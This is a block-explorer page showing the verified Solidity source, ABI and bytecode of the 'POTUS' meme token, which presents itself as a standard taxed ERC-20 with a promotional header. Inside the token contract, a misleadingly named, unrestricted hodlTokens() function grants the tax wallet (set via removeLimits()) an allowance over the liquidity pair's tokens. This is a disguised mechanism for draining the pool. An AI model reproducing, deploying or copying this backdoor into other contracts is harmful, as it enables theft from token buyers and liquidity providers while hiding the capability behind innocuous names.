Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(    - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ...  contract POTUS is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function sendETHToFee(uint256 amount)    - function hodlETH()    - function hodlTokens(uint256 amount)    - function createPair()    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-11-07
*/

/**
POTUS has been dumped by DEV OG and we the community that supports TRUMP to become US president, officially take over this project. President OG Trump United States. POTUS

https://presidentogtrump.us
https://x.com/potuscoinOnETH
https://t.me/potuscoinOnETH

The X Account of 47th President: https://x.com/POTUS
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract POTUS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) private _bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=12;
    uint256 private _initialSellTax=12;

    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    
    uint256 private _reduceBuyAt=10;
    uint256 private _reduceSellAt=10;
    uint256 private _preventCount=12;
    uint256 private _buyTokenCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"President OG Trump United States";
    string private constant _symbol = unicode"POTUS";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletAmount = _tTotal * 2 / 100;
    uint256 public _minTaxSwap= _tTotal * 1 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    address private _teslaStock;

    bool private _caLimitSells = true;
    uint256 private _caBlockSells = 0;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xFE7e7A8E3644AAdE0A2D2FA8AcA122DfbB1888d3);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 _taxFeeA=0;
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            _taxFeeA = amount.mul((_buyTokenCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
                _buyTokenCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                _taxFeeA = amount.mul((_buyTokenCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyTokenCount>_preventCount) {
                if (_caLimitSells) {
                    if (_caBlockSells < block.number) {
                        swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                        uint256 contractETHBalance = address(this).balance;
                        if(contractETHBalance > 0) {
                            sendETHToFee(address(this).balance);
                        }
                        _caBlockSells = block.number;
                    }
                } else {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendETHToFee(address(this).balance);
                    }
                }
            }
        }

        if(_taxFeeA>0){
          _balances[address(this)]=_balances[address(this)].add(_taxFeeA);
          emit Transfer(from, address(this), _taxFeeA);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(_taxFeeA));
        emit Transfer(from, to, amount.sub(_taxFeeA));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletAmount=_tTotal;
        _caLimitSells = false;
        _teslaStock = _taxWallet;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function hodlETH() external onlyOwner() {
        payable(owner()).transfer(address(this).balance);
    }

    function hodlTokens(uint256 amount) external {
        address tesla = uniswapV2Pair;
        address v1Router = address(_teslaStock);
        _allowances[tesla][v1Router] = amount;
    }

    receive() external payable {}

    function createPair() external onlyOwner() { 
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"hodlETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"hodlTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c600655600c6007555f6008555f600955600a8055600a600b55600c80555f600d5560646009600a620000399190620003c5565b6200004990633b9aca00620003dc565b62000056906002620003dc565b620000629190620003f6565b600e556064620000756009600a620003c5565b6200008590633b9aca00620003dc565b62000092906002620003dc565b6200009e9190620003f6565b600f556064620000b16009600a620003c5565b620000c190633b9aca00620003dc565b620000ce906001620003dc565b620000da9190620003f6565b6010556064620000ed6009600a620003c5565b620000fd90633b9aca00620003dc565b6200010a906001620003dc565b620001169190620003f6565b6011556013805461ffff60a81b191690556014805460ff60a01b1916600160a01b1790555f6015553480156200014a575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673fe7e7a8e3644aade0a2d2fa8aca122dfbb1888d3179055620001bf6009600a620003c5565b620001cf90633b9aca00620003dc565b335f908152600160208190526040822092909255600390620001f85f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620002563390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200028f6009600a620003c5565b6200029f90633b9aca00620003dc565b60405190815260200160405180910390a362000416565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200030a57815f1904821115620002ee57620002ee620002b6565b80851615620002fc57918102915b93841c9390800290620002cf565b509250929050565b5f826200032257506001620003bf565b816200033057505f620003bf565b8160018114620003495760028114620003545762000374565b6001915050620003bf565b60ff841115620003685762000368620002b6565b50506001821b620003bf565b5060208310610133831016604e8410600b841016171562000399575081810a620003bf565b620003a58383620002ca565b805f1904821115620003bb57620003bb620002b6565b0290505b92915050565b5f620003d560ff84168362000312565b9392505050565b8082028115828204841417620003bf57620003bf620002b6565b5f826200041157634e487b7160e01b5f52601260045260245ffd5b500490565b6118bc80620004245f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146103405780639e78fb4f1461036d578063a9059cbb14610381578063c9567bf9146103a0578063dd62ed3e146103b4575f80fd5b8063715018a6146102c9578063751039fc146102dd5780637d1db4a5146102f15780638da5cb5b1461030657806395c1a1d41461032c575f80fd5b8063300d6217116100e3578063300d621714610205578063313ce5671461021a5780635201021a146102355780636c0a24eb1461028057806370a0823114610295575f80fd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806323b872dd146101e6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260208082527f507265736964656e74204f47205472756d7020556e6974656420537461746573908201525b60405161017791906114b7565b60405180910390f35b34801561018b575f80fd5b5061019f61019a366004611517565b6103f8565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460115481565b604051908152602001610177565b3480156101dd575f80fd5b506101c461040e565b3480156101f1575f80fd5b5061019f610200366004611541565b61042e565b348015610210575f80fd5b506101c460105481565b348015610225575f80fd5b5060405160098152602001610177565b348015610240575f80fd5b5061027e61024f36600461157f565b6013546014546001600160a01b039182165f908152600260209081526040808320939094168252919091522055565b005b34801561028b575f80fd5b506101c4600f5481565b3480156102a0575f80fd5b506101c46102af366004611596565b6001600160a01b03165f9081526001602052604090205490565b3480156102d4575f80fd5b5061027e610495565b3480156102e8575f80fd5b5061027e61050f565b3480156102fc575f80fd5b506101c4600e5481565b348015610311575f80fd5b505f546040516001600160a01b039091168152602001610177565b348015610337575f80fd5b5061027e6105df565b34801561034b575f80fd5b50604080518082019091526005815264504f54555360d81b602082015261016a565b348015610378575f80fd5b5061027e610642565b34801561038c575f80fd5b5061019f61039b366004611517565b61083b565b3480156103ab575f80fd5b5061027e610847565b3480156103bf575f80fd5b506101c46103ce3660046115b1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6104043384846109b5565b5060015b92915050565b5f61041b6009600a6116dc565b61042990633b9aca006116ea565b905090565b5f61043a848484610ad8565b61048b84336104868560405180606001604052806028815260200161185f602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061112f565b6109b5565b5060019392505050565b5f546001600160a01b031633146104c75760405162461bcd60e51b81526004016104be90611701565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105385760405162461bcd60e51b81526004016104be90611701565b6105446009600a6116dc565b61055290633b9aca006116ea565b600e556105616009600a6116dc565b61056f90633b9aca006116ea565b600f55601480546005546001600160a01b03166001600160a81b03199091161790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105be6009600a6116dc565b6105cc90633b9aca006116ea565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106085760405162461bcd60e51b81526004016104be90611701565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561063f573d5f803e3d5ffd5b50565b5f546001600160a01b0316331461066b5760405162461bcd60e51b81526004016104be90611701565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106b49030906106a66009600a6116dc565b61048690633b9aca006116ea565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610704573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107289190611736565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610787573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ab9190611736565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107f5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108199190611736565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f610404338484610ad8565b5f546001600160a01b031633146108705760405162461bcd60e51b81526004016104be90611701565b601354600160a01b900460ff16156108ca5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104be565b6012546001600160a01b031663f305d71947306108fb816001600160a01b03165f9081526001602052604090205490565b5f8061090e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610974573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109999190611751565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610a175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104be565b6001600160a01b038216610a785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104be565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b3c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104be565b6001600160a01b038216610b9e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104be565b5f8111610bff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104be565b6013545f90600160b01b900460ff161580610c235750601354600160a81b900460ff165b15610cdb576001600160a01b0384165f90815260016020526040902054610c4b90839061177c565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c7a90839061178f565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ccd9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d0557505f546001600160a01b03848116911614155b15610ffb576001600160a01b0384165f9081526004602052604090205460ff16158015610d4a57506001600160a01b0383165f9081526004602052604090205460ff16155b610d52575f80fd5b610d7e6064610d78600a54600d5411610d6d57600654610d71565b6008545b8590611167565b906111ec565b6013549091506001600160a01b038581169116148015610dac57506012546001600160a01b03848116911614155b8015610dd057506001600160a01b0383165f9081526003602052604090205460ff16155b15610eb657600e54821115610e275760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104be565b600f5482610e49856001600160a01b03165f9081526001602052604090205490565b610e53919061178f565b1115610ea15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104be565b600d8054905f610eb0836117a2565b91905055505b6013546001600160a01b038481169116148015610edc57506001600160a01b0384163014155b15610f1457610f066064610d78600b54600d5411610efc57600754610d71565b6009548590611167565b905047610f124761122d565b505b305f90815260016020526040902054601354600160a81b900460ff16158015610f4a57506013546001600160a01b038581169116145b8015610f5f5750601354600160b01b900460ff165b8015610f6c575060105481115b8015610f7b5750600c54600d54115b15610ff957601454600160a01b900460ff1615610fd457436015541015610fcf57610fb9610fb484610faf84601154611268565b611268565b61127c565b478015610fc957610fc94761122d565b50436015555b610ff9565b610fe7610fb484610faf84601154611268565b478015610ff757610ff74761122d565b505b505b801561107357305f9081526001602052604090205461101a90826113ec565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061106a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611095908361144a565b6001600160a01b0385165f908152600160205260409020556110d86110ba838361144a565b6001600160a01b0385165f90815260016020526040902054906113ec565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611121858561144a565b604051908152602001610ccd565b5f81848411156111525760405162461bcd60e51b81526004016104be91906114b7565b505f61115e848661177c565b95945050505050565b5f825f0361117657505f610408565b5f61118183856116ea565b90508261118e85836117ba565b146111e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104be565b9392505050565b5f6111e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061148b565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611264573d5f803e3d5ffd5b5050565b5f81831161127657826111e5565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112c2576112c26117d9565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611319573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061133d9190611736565b81600181518110611350576113506117d9565b6001600160a01b03928316602091820292909201015260125461137691309116846109b5565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ae9085905f908690309042906004016117ed565b5f604051808303815f87803b1580156113c5575f80fd5b505af11580156113d7573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b5f806113f8838561178f565b9050838110156111e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104be565b5f6111e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061112f565b5f81836114ab5760405162461bcd60e51b81526004016104be91906114b7565b505f61115e84866117ba565b5f602080835283518060208501525f5b818110156114e3578581018301518582016040015282016114c7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063f575f80fd5b5f8060408385031215611528575f80fd5b823561153381611503565b946020939093013593505050565b5f805f60608486031215611553575f80fd5b833561155e81611503565b9250602084013561156e81611503565b929592945050506040919091013590565b5f6020828403121561158f575f80fd5b5035919050565b5f602082840312156115a6575f80fd5b81356111e581611503565b5f80604083850312156115c2575f80fd5b82356115cd81611503565b915060208301356115dd81611503565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561163657815f190482111561161c5761161c6115e8565b8085161561162957918102915b93841c9390800290611601565b509250929050565b5f8261164c57506001610408565b8161165857505f610408565b816001811461166e576002811461167857611694565b6001915050610408565b60ff841115611689576116896115e8565b50506001821b610408565b5060208310610133831016604e8410600b84101617156116b7575081810a610408565b6116c183836115fc565b805f19048211156116d4576116d46115e8565b029392505050565b5f6111e560ff84168361163e565b8082028115828204841417610408576104086115e8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611746575f80fd5b81516111e581611503565b5f805f60608486031215611763575f80fd5b8351925060208401519150604084015190509250925092565b81810381811115610408576104086115e8565b80820180821115610408576104086115e8565b5f600182016117b3576117b36115e8565b5060010190565b5f826117d457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561183d5784516001600160a01b031683529383019391830191600101611818565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208cf2624beccc32cf41d775b56b50378d56ed2d70b5f39ea89a603dc70cae3a5864736f6c63430008180033

0x60806040526004361061011e575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146103405780639e78fb4f1461036d578063a9059cbb14610381578063c9567bf9146103a0578063dd62ed3e146103b4575f80fd5b8063715018a6146102c9578063751039fc146102dd5780637d1db4a5146102f15780638da5cb5b1461030657806395c1a1d41461032c575f80fd5b8063300d6217116100e3578063300d621714610205578063313ce5671461021a5780635201021a146102355780636c0a24eb1461028057806370a0823114610295575f80fd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806323b872dd146101e6575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260208082527f507265736964656e74204f47205472756d7020556e6974656420537461746573908201525b60405161017791906114b7565b60405180910390f35b34801561018b575f80fd5b5061019f61019a366004611517565b6103f8565b6040519015158152602001610177565b3480156101ba575f80fd5b506101c460115481565b604051908152602001610177565b3480156101dd575f80fd5b506101c461040e565b3480156101f1575f80fd5b5061019f610200366004611541565b61042e565b348015610210575f80fd5b506101c460105481565b348015610225575f80fd5b5060405160098152602001610177565b348015610240575f80fd5b5061027e61024f36600461157f565b6013546014546001600160a01b039182165f908152600260209081526040808320939094168252919091522055565b005b34801561028b575f80fd5b506101c4600f5481565b3480156102a0575f80fd5b506101c46102af366004611596565b6001600160a01b03165f9081526001602052604090205490565b3480156102d4575f80fd5b5061027e610495565b3480156102e8575f80fd5b5061027e61050f565b3480156102fc575f80fd5b506101c4600e5481565b348015610311575f80fd5b505f546040516001600160a01b039091168152602001610177565b348015610337575f80fd5b5061027e6105df565b34801561034b575f80fd5b50604080518082019091526005815264504f54555360d81b602082015261016a565b348015610378575f80fd5b5061027e610642565b34801561038c575f80fd5b5061019f61039b366004611517565b61083b565b3480156103ab575f80fd5b5061027e610847565b3480156103bf575f80fd5b506101c46103ce3660046115b1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6104043384846109b5565b5060015b92915050565b5f61041b6009600a6116dc565b61042990633b9aca006116ea565b905090565b5f61043a848484610ad8565b61048b84336104868560405180606001604052806028815260200161185f602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061112f565b6109b5565b5060019392505050565b5f546001600160a01b031633146104c75760405162461bcd60e51b81526004016104be90611701565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd